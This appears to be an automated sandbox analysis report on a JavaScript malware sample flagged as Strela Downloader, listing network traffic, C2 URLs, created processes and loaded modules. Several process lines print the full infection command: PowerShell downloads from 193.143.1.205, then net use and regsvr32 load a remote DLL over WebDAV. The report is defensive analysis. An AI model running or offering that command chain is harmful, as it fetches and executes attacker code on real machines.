HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1480991895.0000023F2C5F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1578158715.0000013E0ACED000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1581447911.0000013E0AC98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1581447911.0000013E0ACCA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1581447911.0000013E0ACEF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1581040333.0000013E0ACCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1581447911.0000013E0AC98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num
Source: net.exe, 00000007.00000002.1581447911.0000013E0ACCA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1581040333.0000013E0ACCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/iS
Source: svchost.exe, 00000009.00000002.2777493997.000001FCC6C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1589424122.000001FCC6A10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1612, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 21787281582160623337.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5588

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1280:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f0cfenz2.eqe.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1520,i,17626756420532321728,2154288866417358527,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1520,i,17626756420532321728,2154288866417358527,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
